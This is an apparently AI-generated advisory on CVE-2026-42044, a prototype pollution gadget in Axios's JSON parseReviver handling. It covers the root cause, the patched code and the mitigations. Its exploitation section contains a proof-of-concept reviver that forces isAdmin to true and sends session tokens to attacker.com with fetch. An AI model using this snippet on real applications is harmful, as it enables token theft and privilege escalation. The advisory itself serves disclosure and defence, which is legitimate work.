CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-42044

CVE-2026-42044: Invisible JSON Response Tampering via Prototype Pollution Gadget in Axios

Alon Barad
Alon Barad
Software Engineer

May 5, 2026·6 min read·147 visits

Executive Summary (TL;DR)

A prototype pollution gadget in Axios's `transformResponse` function allows attackers to tamper with JSON responses. Upgrading to 1.15.2 or explicitly defining `parseReviver` in configuration mitigates the risk.

Axios versions 1.0.0 through 1.15.1 contain a prototype pollution gadget in the JSON response parsing logic. By exploiting a prerequisite prototype pollution vulnerability, an attacker can manipulate the `parseReviver` option to intercept, modify, or exfiltrate JSON data during deserialization.

Vulnerability Overview

Axios operates as a primary promise-based HTTP client for both browser and Node.js environments. The software implements automatic transformation of response data, specifically parsing incoming JSON payloads via the transformResponse array located in lib/defaults/index.js.

A prototype pollution gadget exists within this JSON parsing mechanism. While Axios itself does not inherently contain a prototype pollution flaw, it acts as an execution sink. If an attacker successfully pollutes the JavaScript prototype chain elsewhere in the application, Axios will execute the polluted properties during its internal configuration merging and parsing phases.

The specific attack vector targets the parseReviver attribute, which Axios passes as the second argument to the native JSON.parse() function. An attacker can hijack this process to execute arbitrary JavaScript logic against every key-value pair processed during the deserialization of HTTP responses.

This behavior maps to CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes). The vulnerability affects all Axios 1.x versions prior to 1.15.2.

Root Cause Analysis

The root cause stems from the mechanism Axios uses to construct and evaluate its configuration objects. Prior to version 1.15.2, configuration objects were instantiated as standard JavaScript objects, meaning they inherited properties from Object.prototype.

During the response handling lifecycle, Axios invokes functions within the transformResponse array. The default JSON transformer executes JSON.parse(data, this.parseReviver), where this references the merged Axios configuration object context.

Because Axios does not define parseReviver by default, the JavaScript engine attempts to resolve the property by traversing up the prototype chain. If Object.prototype.parseReviver has been maliciously populated by an attacker, the engine retrieves and utilizes the injected function.

The native JSON.parse() specification dictates that the reviver function is called for every parsed property. Consequently, the attacker's function executes with full access to the incoming data stream, establishing a reliable execution sink for the prototype pollution primitive.

Code Analysis

The vulnerable code path resides in lib/defaults/index.js. The default transformResponse function attempts to parse response data directly using the context's parseReviver without validating if the property is explicitly owned by the configuration object.

// lib/defaults/index.js (Vulnerable Pattern)
const defaults = {
  transformResponse: [function transformResponse(data) {
    if (typeof data === 'string') {
      try {
        return JSON.parse(data, this.parseReviver);
      } catch (e) {
        // ...
      }
    }
    return data;
  }]
};

The remediation strategy implemented in Axios 1.15.2 utilizes two distinct hardening techniques. First, commit be3336014e01f9a4fc1f8aef15303cf7daaf58db introduced strict hasOwnProperty checks to ensure configuration properties are not inherited from the prototype chain.

// lib/defaults/index.js (Patched Version via hasOwnProperty)
const defaults = {
  transformResponse: [function transformResponse(data) {
    if (typeof data === 'string') {
      try {
        const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;
        return JSON.parse(data, reviver);
      } catch (e) {
        // ...
      }
    }
    return data;
  }]
};

Second, commit 47915144662f2733e6c051bdcb895a8c8f0586aa restructured the core configuration merging utility (mergeConfig.js) to instantiate objects using Object.create(null). This creates objects completely devoid of a prototype chain, preventing any upward traversal and comprehensively eliminating this class of gadget from the configuration layer.

Exploitation

Exploitation requires the attacker to possess an independent prototype pollution vulnerability within the target environment. This prerequisite typically takes the form of an insecure recursive merge function, a vulnerable query string parser, or a flawed deep-copy utility.

The attacker begins by injecting a malicious payload into Object.prototype.parseReviver. The payload consists of a JavaScript function designed to intercept and manipulate the key-value pairs processed during JSON deserialization.

// Exploitation Concept
// 1. Attacker leverages external vulnerability to pollute prototype
Object.prototype.parseReviver = function(key, value) {
    if (key === 'isAdmin') return true; // Privilege Escalation
    if (key === 'sessionToken') fetch('https://attacker.com/?token=' + value); // Exfiltration
    return value;
};

Once the prototype is polluted, the attack executes passively. Any subsequent HTTP request initiated by Axios that returns an application/json payload will trigger the injected reviver function automatically. The targeted application will receive the altered data structure, processing the malicious modifications as legitimate server responses.

Impact Assessment

The primary impact of CVE-2026-42044 is the loss of data integrity. Attackers can arbitrarily modify inbound server responses before they reach application logic. This capability facilitates secondary attacks, such as client-side privilege escalation, authentication bypass, or logic manipulation depending on how the application consumes the data.

The vulnerability also presents a confidentiality risk. The reviver function executes within the context of the deserialization process, granting it read access to all sensitive keys and values returned by the remote server. An attacker can instrument the reviver to silently transmit this data to an external command and control server.

The stealth characteristics of this attack are significant. Because the tampering occurs during the native JSON.parse execution, standard application-level schema validators evaluating the final JavaScript object will process the tampered data as legitimate. The mutation operates entirely beneath the validation layer.

The CVSS v3.1 base score of 6.5 (Medium) reflects the High integrity impact and Low confidentiality impact, offset by the High attack complexity. The high complexity designation accounts for the strict prerequisite of an existing prototype pollution vector within the runtime environment. The low EPSS score (0.00098) aligns with this complexity constraint.

Remediation

The definitive remediation is upgrading to Axios version 1.15.2. This release contains both the hasOwnProperty access restrictions and the architectural shift to null-prototype configuration objects, neutralizing the gadget completely.

In scenarios where immediate patching is unfeasible, developers can mitigate the gadget by explicitly shadowing the prototype property. Defining parseReviver: undefined directly within the Axios instance configuration ensures the execution context finds an own-property and halts prototype traversal.

// Temporary Mitigation
const axiosInstance = axios.create({
  parseReviver: undefined
});

Additionally, implementing environment-level hardening provides defense-in-depth against all prototype pollution vectors. Utilizing Object.freeze(Object.prototype) at application initialization prevents the modification of global prototypes, though this approach requires thorough regression testing as it may disrupt legitimate behavior in legacy libraries.

Official Patches

AxiosCommit implementing Null-Prototype configuration object hardening.
AxiosCommit enforcing hasOwnProperty checks on the configuration object.

Fix Analysis (2)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
EPSS Probability
0.10%
Top 73% most exploited

Affected Systems

Axios (Node.js environments)Axios (Browser environments)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Axios
Axios
>= 1.0.0, < 1.15.21.15.2
AttributeDetail
CWE IDCWE-915, CWE-1321
Attack VectorNetwork (with prerequisites)
CVSS v3.1 Base6.5
EPSS Score0.00098 (26.71%)
Primary ImpactHigh Integrity (JSON Tampering)
Exploit StatusProof of Concept
KEV ListedNo

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
CWE-1321
Improperly Controlled Modification of Object Prototype Attributes

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Known Exploits & Detection

GitHub Security AdvisoryAdvisory containing technical description and PoC test cases for the parseReviver gadget.

Vulnerability Timeline

Coordinated security hardening release (v1.15.1) initiated.
2026-04-19
Technical analysis and patch development for related gadgets (SSRF, Header Injection).
2026-04-20
Final fix for parseReviver gadget merged and released in version 1.15.2.
2026-04-21
Official CVE-2026-42044 published by NVD and GitHub.
2026-04-24

References & Sources

  • [1]GitHub Advisory (GHSA-3w6x-2g7m-8v23)
  • [2]NVD Record (CVE-2026-42044)
  • [3]Axios Security Policy (SECURITY.md)
  • [4]Axios Threat Model (THREATMODEL.md)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 23 hours ago•CVE-2026-87697
8.8

CVE-2026-87697: Untrusted Deserialization in .NET PresentationCore Clipboard Handling

A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.

Alon Barad
Alon Barad
13 views•5 min read
•1 day ago•CVE-2026-70007
8.8

CVE-2026-70007: Out-of-Bounds Write Vulnerability in .NET Framework and WPF Subsystem

An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.

Amit Schendel
Amit Schendel
9 views•6 min read
•1 day ago•CVE-2026-70186
7.5

CVE-2026-70186: ASP.NET Core Denial of Service Vulnerability via Framework Deadlock

ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.

Amit Schendel
Amit Schendel
9 views•5 min read
•1 day ago•CVE-2026-70035
8.8

CVE-2026-70035: Insecure Deserialization Remote Code Execution in Microsoft .NET Framework and .NET Runtime

CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.

Amit Schendel
Amit Schendel
11 views•6 min read
•1 day ago•CVE-2026-70183
7.5

CVE-2026-70183: Elevation of Privilege in ASP.NET Core and Visual Studio via Concurrent Race Condition

An elevation of privilege vulnerability exists in ASP.NET Core and Microsoft Visual Studio due to improper synchronization during concurrent thread execution. Authenticated remote attackers with low privileges can exploit a timing window to manipulate shared resources and assume higher-level execution contexts.

Alon Barad
Alon Barad
11 views•5 min read
•4 days ago•CVE-2026-107844
5.3

CVE-2026-107844: Path Traversal Vulnerability in Contao ImagesController

A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.

Amit Schendel
Amit Schendel
20 views•5 min read